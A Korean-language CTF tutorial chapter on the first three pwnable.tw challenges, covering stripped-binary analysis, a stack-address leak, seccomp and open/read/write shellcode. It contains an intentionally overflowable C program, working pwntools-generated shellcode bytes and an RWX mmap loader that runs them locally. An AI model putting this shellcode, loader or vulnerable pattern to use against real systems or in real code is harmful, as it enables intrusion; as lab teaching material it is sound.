Step 213. pwnable.tw 쉬운 문제 3개 — 소스 없는 세계로

Step 213. pwnable.tw 쉬운 문제 3개 — 소스 없는 세계로

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★★ | 예상 소요 시간 12시간 (여러 날에 나눠 권장)

전제: Step 209(pwnable.kr 완주), Step 210(GOT/PLT), Step 203(쉘코드 작성). objdump와 gdb 디스어셈블리.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. pwnable.tw는 풀라고 만들어진 합법 학습 플랫폼입니다.

  • 준비물: WSL 우분투(gcc, gdb, objdump), 파이썬 + pwntools. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, pwntools 4.15.0입니다.
  • 주의: pwnable.tw 서버에는 이 환경에서 접속하지 않습니다. 서버 장면은 "화면 예시"이고, 세 문제의 핵심 기술(심볼 없는 바이너리 분석, orw 쉘코드)은 로컬 재현으로 실측합니다.

pwnable.kr의 Toddler’s Bottle을 졸업했다면, 다음 관문은 pwnable.tw입니다. 겉모습은 비슷한 워게임이지만 한 가지가 결정적으로 다릅니다 — 소스를 주지 않는 문제가 많다는 것. 지금까지의 "소스 읽기 → 역산" 루틴이 "바이너리 분석 → 가설 → 검증"으로 바뀌는 지점입니다. 오늘은 초반 세 문제(start, orw, calc)의 사고법을 배우고, 핵심 기술 두 개를 로컬에서 직접 실측합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • pwnable.kr과 pwnable.tw의 난이도·구성 차이를 설명한다
  • strip된 바이너리(심볼 없음)를 objdump/gdb로 분석하는 첫 절차를 밟는다
  • start 문제의 뼈대 — 스택 주소 leak과 쉘코드 주소 계산을 재현한다
  • orw 문제의 뼈대 — seccomp 제약과 open/read/write 쉘코드를 로컬에서 실행한다
  • calc 문제 같은 파서 버그의 접근 전략을 세운다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C + 어셈블리 읽기 + 파이썬/pwntools (실측: Ubuntu 24.04, gcc 13.3.0, gdb 15.1)
오늘의 명령어 file, objdump -d, gdb disas, shellcraft.amd64.linux.cat(...), asm(...), mmap 쉘코드 로더
필요한 개념 strip과 심볼, 스택 주소 leak, seccomp(시스템 콜 필터), orw 쉘코드, 파서 버그
오늘의 산출물 strip 바이너리 분석 기록 + orw 쉘코드 로컬 실행 로그 + 세 문제 공략 카드

2-1. pwnable.kr과의 차이 — 무엇이 어려워지는가

pwnable.kr (Toddler’s Bottle) pwnable.tw (초반)
소스 대부분 제공 대부분 미제공
비트 수 32비트 위주 64비트 위주
보호 기법 느슨 (연습용) NX 기본, 문제에 따라 더
요구 기술 조건 역산 바이너리 분석 + leak + 쉘코드/ROP

핵심 변화는 하나입니다 — 분석해야 할 대상이 소스 텍스트에서 기계어로 바뀝니다. 다행히 도구는 이미 갖췄습니다. Step 177의 gdb disassemble, Step 210의 objdump가 오늘부터 주력 무기입니다.

2-2. strip — 이름표를 뗀 바이너리

컴파일된 바이너리에는 원래 함수 이름(심볼)이 적혀 있습니다. strip은 그 이름표를 떼어 main 같은 이름이 사라집니다 — 상용 프로그램과 pwnable.tw 문제의 기본 상태입니다. 이름이 없어도 기계어는 그대로라서, 디스어셈블리와 호출 흐름(누가 누구를 부르는가)으로 구조를 역추적합니다. 오늘 3-1에서 직접 겪습니다.

2-3. seccomp — 허용된 시스템 콜만 쓴다

orw 문제의 제목(open-read-write) 자체가 힌트인 이유: 서버의 바이너리에 seccomp(secure computing mode — 시스템 콜 필터)이 걸려 있어 execve가 막혀 있습니다. 즉 /bin/sh 쉘코드(Step 203)가 소용없습니다. 대신 파일을 열고(open) 읽고(read) 출력(write)하는 세 시스템 콜로 플래그를 직접 읽어야 합니다 — 방화벽이 정문을 막았으면 창문 세 개로 들어가는 격입니다.

2-4. leak — 주소를 흘려 보내는 프로그램

ASLR 시대의 공격은 주소를 몰라서 못 합니다. 그래서 프로그램이 무심코 주소를 출력해 주는 것(leak)이 공격의 첫 단추입니다. start 문제는 스택 주소를 출력해 줍니다 — 그 주소와 오프셋으로 "내 쉘코드가 놓인 주소"를 계산하는 것이 문제의 뼈대입니다. Step 210의 setarch -R로 껐던 ASLR과의 정면 승부가 시작되는 것입니다.


3. 따라 하기

3-1. start 재현 — 이름표 없는 바이너리와 스택 leak

start 문제의 뼈대를 모사한 프로그램을 만들고, strip까지 해서 "이름 없는 바이너리 분석"을 그대로 겪어 봅니다.

입력 (mini_start.c)

#include <stdio.h>
#include <unistd.h>
int main(void) {
    char buf[20];
    printf("stack hint: %p\n", buf);   /* start 문제처럼 스택 주소를 흘린다 */
    fflush(stdout);
    read(0, buf, 100);                /* 길이 초과 — 오버플로우 */
    return 0;
}
cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o mini_start mini_start.c
strip mini_start
file mini_start
mini_start.c:7:5: warning: 'read' writing 100 bytes into a region of size 20 overflows the destination [-Wstringop-overflow=]
mini_start: ELF 64-bit LSB executable, x86-64, ..., stripped

(2026-09-09 실측. 컴파일러가 이미 오버플로우를 경고하고, file 결과 끝의 stripped가 "이름표 없음"입니다.)

분석 — 이름 없는 세계에서 길 찾기:

objdump -d mini_start | grep -E "call|lea" | head -8
  401014:	ff d0                	call   *%rax
  4010af:	ff 15 23 2f 00 00    	call   *0x2f23(%rip)        # 403fd8 <fflush@plt+0x2f58>
  401151:	e8 7a ff ff ff       	call   4010d0 <fflush@plt+0x50>
  401182:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  401189:	48 8d 05 74 0e 00 00 	lea    0xe74(%rip),%rax        # 402004 <fflush@plt+0xf84>
  401198:	e8 c3 fe ff ff       	call   401060 <printf@plt>
  4011a7:	e8 d4 fe ff ff       	call   401080 <fflush@plt>
  4011ac:	48 8d 45 e0          	lea    -0x20(%rbp),%rax

(2026-09-09 실측.)

출력 읽는 법: main이라는 이름은 사라졌지만 단서는 남습니다.

  • call printf@plt, call fflush@plt라이브러리 호출은 이름이 보입니다 (PLT는 동적 링크라 심볼이 남습니다 — Step 210의 구조 덕분).
  • 그 호출들 바로 위의 lea -0x20(%rbp),%rax — printf와 read에 넘길 버퍼 주소. rbp-0x20, 32바이트 자리.
  • 이 두 단서로 "여기가 printf에 스택 주소를 넘기고, read로 100바이트를 받는 main"임을 역추적합니다. 이름표가 없어도 행동은 읽힙니다.

leak 확인 — 스택 주소가 흘러나온다:

printf "AAAAAAAAAAAA\n" | ./mini_start
stack hint: 0x7fffe697eb20

(2026-09-09 실측. 주소는 실행마다 다릅니다 — ASLR이 켜진 상태 그대로입니다.)

읽는 법: 프로그램이 버퍼의 스택 주소(0x7fff... — 스택 영역 특유의 높은 주소)를 스스로 알려 줍니다. 실제 start 문제의 익스플로잇은 이것을 받아서, "리턴 주소를 (leak된 주소 + 오프셋)으로 덮고, 그 자리에 쉘코드를 까는" 흐름입니다. 오늘은 leak과 오프셋 계산 감각까지가 목표 — 전체 체인은 Step 214에서 종합합니다.

3-2. orw 재현 — execve 없이 플래그 읽기

orw의 핵심 기술 — open/read(여기서는 sendfile)/write로만 이뤄진 쉘코드 — 를 pwntools로 생성해 로컬에서 직접 실행해 봅니다.

cd ~/lab209_213
echo "FLAG{0rw_sh3llc0de_l0c4l}" > flag.txt

쉘코드 생성 (pwntools)

from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.cat("flag.txt") + shellcraft.amd64.linux.exit(0)
print(sc)
code = asm(sc)
print("길이:", len(code), "bytes")
    /* push b'flag.txt\x00' */
    push 1
    dec byte ptr [rsp]
    mov rax, 0x7478742e67616c66
    push rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push SYS_open /* 2 */
    pop rax
    ...
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    ...
    syscall
길이: 51 bytes

(2026-09-09 실측, pwntools 4.15.0.)

읽는 법: shellcraft가 어셈블리를, asm이 기계어 51바이트를 만들어 줍니다. 보이는 시스템 콜은 open(2)sendfile(0x28)뿐 — execve(59)는 어디에도 없습니다. 이것이 seccomp 환경에서도 통하는 이유입니다 (sendfile은 "파일에서 fd로 직접 복사"하는 시스템 콜로, read+write를 한 방에 합니다).

로컬 실행 — mmap 로더:

입력 (sc_run.c)

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

/* pwntools: shellcraft.amd64.linux.cat("flag.txt") + exit(0), asm() 결과 51바이트 */
unsigned char sc[] =
    "\x6a\x01\xfe\x0c\x24\x48\xb8\x66\x6c\x61\x67\x2e\x74\x78"
    "\x74\x50\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba"
    "\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99"
    "\x0f\x05\x31\xff\x6a\x3c\x58\x0f\x05";

int main(void) {
    void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(p, sc, sizeof(sc) - 1);
    printf("쉘코드 %zu bytes 실행:\n", sizeof(sc) - 1);
    fflush(stdout);
    ((void (*)(void))p)();
    return 0;
}
gcc -o sc_run sc_run.c
./sc_run
쉘코드 51 bytes 실행:
FLAG{0rw_sh3llc0de_l0c4l}

(2026-09-09 실측.)

읽는 법: mmap으로 실행 가능한(RWX) 메모리를 빌려 쉘코드를 옮기고 함수처럼 불렀습니다. 51바이트의 기계어가 flag.txt를 열어 내용을 출력하고 깨끗이 종료했습니다 — 쉘 없이 파일을 읽는 orw의 본질 그대로입니다. 실제 orw 문제에서는 이 바이트들을 서버의 read 입력으로 보내고, 서버가 우리 쉘코드로 점프하게 만드는 것이 나머지 절반입니다.

화면 예시 — 실제 orw 서버의 seccomp 확인

$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 ...
 0007: 0x06 0x00 0x01 0x7fff0000  return ALLOW
 (허용 목록에 open, read, write만 있고 execve는 없음)

이 환경에는 seccomp-tools가 없어 실측하지 못했습니다 — 서버 문제에서는 이 도구로 "무엇이 허용인가"를 먼저 확인하세요.

3-3. calc — 파서 버그의 사고법 (전략 카드)

calc는 소스 없이 주어지는 "계산기" 프로그램입니다. 분석 결과의 뼈대(공개된 문제 구조 기준):

  • 표현식을 파싱하는 과정에 배열 인덱스 오류가 있어, 계산 결과가 스택의 엉뚱한 위치에 쓰입니다
  • 그 위치에는 저장된 리턴 주소가 있고 → 정수를 "쓰는" 계산으로 ROP 체인을 깔 수 있습니다

접근 순서는 같습니다 — ① objdump -d로 파싱 루프를 찾는다 ② gdb에 임의 입력을 넣으며 스택의 어느 위치가 오염되는지 관찰한다 ③ 오염 위치가 리턴 주소와 겹치는지 확인한다. 새로운 기술이 아니라, 3-1의 "이름 없는 분석"과 Step 209의 "오프셋 재기"의 조합입니다.

3-4. 세 문제 공략 카드 — 정리

[start] 단서: 스택 주소 출력(leak) + 길이 초과 입력
        경로: leak 받기 → 오프셋 계산 → 리턴 주소 = 쉘코드 주소
        기술: 심볼 없는 분석, 스택 leak, 쉘코드
[orw]   단서: execve가 막힘(seccomp), 입력을 실행해 주는 구조
        경로: open/read/write(또는 sendfile) 쉘코드 전송
        기술: shellcraft, seccomp 확인, orw 쉘코드
[calc]  단서: 계산기 파서의 인덱스 오류
        경로: 파싱 루프 분석 → 스택 오염 위치 확인 → ROP
        기술: 바이너리 분석, 오프셋 재기, ROP (Step 214에서 종합)

4. 미션과 연습문제

미션 — 나만의 orw 쉘코드

  1. shellcraft.amd64.linux의 문서(pydoc 또는 help(shellcraft.amd64.linux))에서 open, read, write, exit을 찾는다
  2. sendfile 대신 open + read + write 세 시스템 콜로 flag.txt를 읽는 쉘코드를 조립한다 (힌트: shellcraft.amd64.linux.open("flag.txt") + read + write + exit)
  3. sc_run.c의 바이트를 교체해 로컬에서 실행해 플래그를 출력한다
  4. 두 쉘코드(cat 버전/직접 조립 버전)의 바이트 길이를 비교해 노트에 적는다

연습문제

문제 1. strip된 바이너리에서도 printf@plt 같은 이름은 남아 있었습니다(3-1 실측). 왜 strip은 라이브러리 함수의 이름을 지우지 못하나요?

문제 2. start 문제에서 프로그램이 흘려 준 0x7fffe697eb20이 스택 주소라고 어떻게 알 수 있나요? 그리고 ASLR이 켜져 있어도 이 leak이 유용한 이유는 무엇인가요?

문제 3. orw 문제에서 Step 203의 /bin/sh 쉘코드가 소용없는 이유와, sendfile이 read+write를 대신할 수 있는 원리를 설명하세요.

문제 4. calc 같은 "파서 버그" 문제의 분석 첫 세 단계를 순서대로 적으세요.


5. 모범 답안과 완료 기준

미션 모범 답안

from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.open("flag.txt", 0)
sc += shellcraft.amd64.linux.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.linux.write(1, "rsp", "rax")
sc += shellcraft.amd64.linux.exit(0)
code = asm(sc)
print(len(code))   # cat 버전(51)보다 길다 — 세 시스템 콜이니 정상

read가 읽은 바이트 수(rax)를 write의 길이로 넘기는 연결이 핵심입니다. sc_run.c의 sc[]를 새 바이트로 교체해 실행하면 같은 플래그가 출력됩니다. 검증하는 법: ① 플래그가 출력됐는가, ② 어셈블리에 execve가 없고 open/read/write만 있는가, ③ 길이 비교가 노트에 있는가.

연습문제 해답

문제 1 해답. 라이브러리 함수 호출은 PLT를 거치고(Step 210), PLT-GOT 연결은 동적 심볼 테이블에 의존하기 때문입니다. strip은 정적 심볼(함수 이름표)만 지우고, 동적 링크에 필요한 동적 심볼은 지우면 프로그램이 실행되지 않으므로 남습니다. 그래서 strip 바이너리 분석의 첫 단서가 "PLT로 가는 call들"입니다.

문제 2 해답. 리눅스 x86-64 사용자 공간에서 스택은 주소 공간의 높은 쪽(0x7fff...)에 배치되고, 힙·라이브러리는 그보다 낮은 0x7f... 대역에, PIE 없는 바이너리는 0x40...에 놓입니다. 접두사만으로 구역을 짐작할 수 있습니다. ASLR 하에서도 유용한 이유는, leak이 이번 실행의 실제 주소를 알려 주기 때문입니다 — 무작위 베이스 위에 올라가도, 그 베이스를 알면 오프셋 계산으로 목표 주소를 얻을 수 있습니다.

문제 3 해답. /bin/sh 쉘코드의 마지막은 execve 시스템 콜인데, seccomp 필터가 그 콜을 차단(프로세스 kill 또는 오류 반환)하므로 쉘이 뜨지 않습니다. sendfile(out_fd, in_fd, …)은 커널 안에서 파일 내용을 다른 fd(stdout)로 직접 복사하는 시스템 콜이라, 사용자 코드에서 read→write를 반복할 필요가 없습니다. 허용 목록에 있는 콜들만으로 파일 읽기를 완성하는 것이 orw입니다.

문제 4 해답.objdump -d로 입력을 파싱하는 루프를 찾는다(PLT 호출과 비교·점프 패턴이 단서), ② gdb로 임의의 입력을 넣으며 스택의 어느 위치가 입력값으로 오염되는지 관찰한다, ③ 오염 위치와 저장된 리턴 주소의 거리(오프셋)를 재고 조작할 값을 설계한다. 순서는 어떤 바이너리 문제든 같습니다 — 분석, 관찰, 계산.

완료 기준 체크리스트

  • [ ] pwnable.kr과 pwnable.tw의 차이(소스 유무, 비트 수, 보호 기법)를 설명할 수 있다
  • [ ] strip된 바이너리에서 PLT 호출을 단서로 main의 행동을 역추적했다
  • [ ] 스택 주소 leak의 모습(0x7fff...)과 유용한 이유를 설명할 수 있다
  • [ ] seccomp가 시스템 콜 필터임을, orw가 그 우회 전략임을 설명할 수 있다
  • [ ] shellcraft + asm으로 orw 쉘코드를 만들고 mmap 로더로 로컬 실행했다
  • [ ] start/orw/calc 세 문제의 공략 카드를 정리했다
  • [ ] 미션: open+read+write 조립 쉘코드로 플래그를 출력했다

6. 흔한 실수와 해결

벽 1. strip 바이너리를 열었더니 main이 없다

증상: gdb에서 disassemble main이 안 됩니다.
원인: 이름표가 떨어진 정상 상태입니다.
해결: 두 가지 길이 있습니다 — ① objdump -d에서 printf@plt 등 라이브러리 call을 찾아 그 주변을 읽기 (3-1의 방법), ② gdb에서 break 대신 엔트리포인트부터 추적. 이름이 없을 때는 행동(무엇을 부르는가) 이 지도입니다.

벽 2. 쉘코드를 .data에 두고 실행했다가 세그폴트

증상: unsigned char sc[]를 전역으로 두고 함수 포인터로 부르자 Segmentation fault (core dumped) (이 챕터 집필 중 실제로 겪은 실패, 2026-09-09).
원인: 전역 배열은 실행 권한이 없는 데이터 영역에 있습니다. NX(Step 62) 덕분에 데이터는 실행되지 않습니다.
해결: 오늘의 sc_run.c처럼 mmap으로 PROT_EXEC 페이지를 받아 거기로 옮기세요. 참고로 이 실패 자체가 "실전에서는 왜 쉘코드를 실행 가능한 영역에 깔아야 하는가"의 답입니다.

벽 3. leak된 주소로 계산했는데 한 칸 어긋난다

증상: 리턴 주소를 쉘코드 주소로 덮었는데 crash.
원인: 오프셋 계산의 1바이트 오차, 또는 leak된 주소가 가리키는 지점(버퍼 시작? 그 앞?)을 잘못 가정한 경우입니다.
해결: gdb로 같은 입력에서 버퍼 주소와 저장된 리턴 주소의 위치를 같이 찍어 거리를 재세요. 추측으로 더하지 말고 관찰로 재는 것이 원칙입니다 (Step 209의 오프셋 계산과 같은 자세).

벽 4. shellcraft 함수 이름을 모른다

증상: 원하는 시스템 콜의 shellcraft 이름을 못 찾겠습니다.
원인: 처음엔 다들 그렇습니다.
해결: 파이썬에서 help(shellcraft.amd64.linux)로 목록을 보세요. open, read, write, exit, cat 등이 있고, 각 함수는 어셈블리 문자열을 반환합니다 — +로 이어 붙이면 됩니다 (3-2와 미션이 그 패턴).

벽 5. "소스가 없으니 못 풀겠다"는 막막함

증상: pwnable.kr까지는 소스가 있었는데, 갑자기 벽이 느껴집니다.
원인: 정상적인 전환 통증입니다. 소스 읽기의 습관이 아직 기계어로 옮겨지지 않았을 뿐입니다.
해결: 오늘 3-1에서 했던 것처럼 아주 작은 strip 바이너리부터 연습하세요. 자기가 쓴 코드의 디스어셈블리와 대조하면 "C 한 줄이 어셈블리 몇 줄인지"의 대응표가 생기고, 그것이 바이너리 분석의 시력입니다. 처음엔 느립니다 — 그래서 calc까지 하루에 끝내려 하지 마세요.


7. 정리

오늘의 개념

개념 한 줄 설명
strip 정적 심볼(이름표)을 뗀 바이너리 — 동적 심볼(PLT)은 남는다
바이너리 분석 PLT 호출과 디스어셈블리로 프로그램의 행동을 역추적하는 기술
leak 프로그램이 주소를 흘려 주는 것 — ASLR 시대 공격의 첫 단추
seccomp 허용된 시스템 콜만 통과시키는 커널 필터
orw 쉘코드 execve 없이 open/read/write(또는 sendfile)로 파일을 읽는 쉘코드
파서 버그 입력 해석 로직의 인덱스 오류 — 계산이 곧 쓰기가 되는 구멍

오늘의 명령어

명령 하는 일
strip ./바이너리 심볼 제거 — 분석 연습용 상태 만들기
objdump -d ./바이너리 | grep call 라이브러리 호출 단서 찾기
shellcraft.amd64.linux.cat("파일") 파일 읽기 쉘코드(어셈블리) 생성
asm(어셈블리) 어셈블리를 기계어 바이트로 변환
mmap(..., PROT_READ|PROT_WRITE|PROT_EXEC, ...) 실행 가능한 메모리 확보 (쉘코드 로더)
help(shellcraft.amd64.linux) 사용 가능한 쉘크래프트 목록 보기

명령어보다 중요한 감각

pwnable.tw의 입구에서 배우는 것은 "소스가 없어도 프로그램은 읽힌다"는 자신감입니다. 이름표가 없어도 printf를 부르는 call은 보이고, 주소를 출력하는 프로그램은 스스로 지도를 흘립니다. 분석 → 관찰 → 계산 — 이 세 박자는 소스가 있을 때도 없을 때도 같습니다.

그리고 orw가 보여 준 것 — 막힌 길(execve)이 있으면 허용된 길(open/read/write)로 목적지를 바꾸는 사고방식 — 은 Pwn 전체의 태도입니다. 완벽한 방어는 없고, 허용 목록의 조합이 곧 공격면입니다. Canary와 NX가 겹쳐진 바이너리의 종합 공략(Step 214)도 결국 이 태도의 연장입니다.


전부 체크되면 Step 213 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.